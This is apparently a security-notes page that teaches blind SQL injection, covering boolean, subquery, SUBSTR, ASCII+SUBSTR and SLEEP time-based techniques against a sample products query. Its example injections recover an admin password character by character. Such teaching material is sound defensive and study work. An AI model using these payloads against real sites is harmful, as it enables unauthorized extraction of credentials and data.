Types

Boolean

This injection consists of the boolean result of a query making the website return different responses. For example, a query that returns the products following a specific criteria (e.g. category) would always return the intended results unless the query gets appended an injection adding more specifications to match.

Let's imagine having this background:

SELECT id, name, price FROM products WHERE category = '$supplied_category';

If the supplied category exists, and it will the most of the times, as every page having this structure would let the user choose the category between the intended ones, the products will be printed in the response. However, in the case that the supplied parameter is not propperly sanitized, someting like this could happen:

SELECT id, name, price FROM products WHERE category = 'sports' AND 1=1;

This won't change the behaviour of the response, as there are sports products and 1 equals 1, but what about this?

SELECT id, name, price FROM products WHERE category = 'sports' AND price > 24;

This will certainly change the response, as only those sports products whose price is higher that 24 will appear. Now is when more complex injections pitch in.

Subqueries

SELECT id, name, price FROM products WHERE category = 'sports' AND (SELECT password FROM user_table WHERE username = 'admin')='adminpwd';

This time, the actual query gets appended a subquery being compared to a value. If the admin password equals to adminpwd, the website will be returning the same products as before, otherwise, it would be returning no results.

SUBSTR

However, using subqueries is not that easy, sometimes the values aren't so guessable, that's why substr() function is useful here.

SELECT id, name, price FROM products WHERE category = 'sports' AND SUBSTR((SELECT password FROM user_table WHERE username = 'admin'),1,1)='a';

As you can see, the way this function works is quite the same as it does in most of the languages.

SUBSTR( PARAM_TO_EVALUATE, STARTING_POINT, ENDING_POINT )
  • Notice that another pair of parenthesis is added to the subquery, as it is not a single parameter.

In a nuthsell, the first letter is being compared to an a. If it does start by an a, the server would return the intended sports products result. Doing this by iterating through a dictionary (and leveraging the compared position of the letter) could be useful to obtain the entire value. However, there's a problem, it is not case sensitive!

ASCII + SUBSTR

This is the most powerful way to ensure the retrieved data is correct.

SELECT id, name, price FROM products WHERE category = 'sports' AND ASCII(SUBSTR((SELECT password FROM user_table WHERE username = 'admin'),1,1))=97;

As you can see, the compared number is an ASCII number now, and the result of the substr of the subquery is converted to ASCII. Thanks to this technique, we can now iterate over the whole range of ASCII characters from 32 to 125.

Blind Time-Based

This type of injection is almost the same as the Boolean one, but involving server-side time waiting.

Fast Example

SELECT id, name, price FROM products WHERE category = 'sports' AND (SELECT password FROM user_table WHERE username = 'admin')='adminpwd' AND SLEEP(10);

Empty set (10.001 sec)

This result means that the last AND operator has been executed and the sleep() function too, so the subquery equals the compared value.

Obviously, as everything in this field, it can be used in lots of cases and tons of ways.

Last updated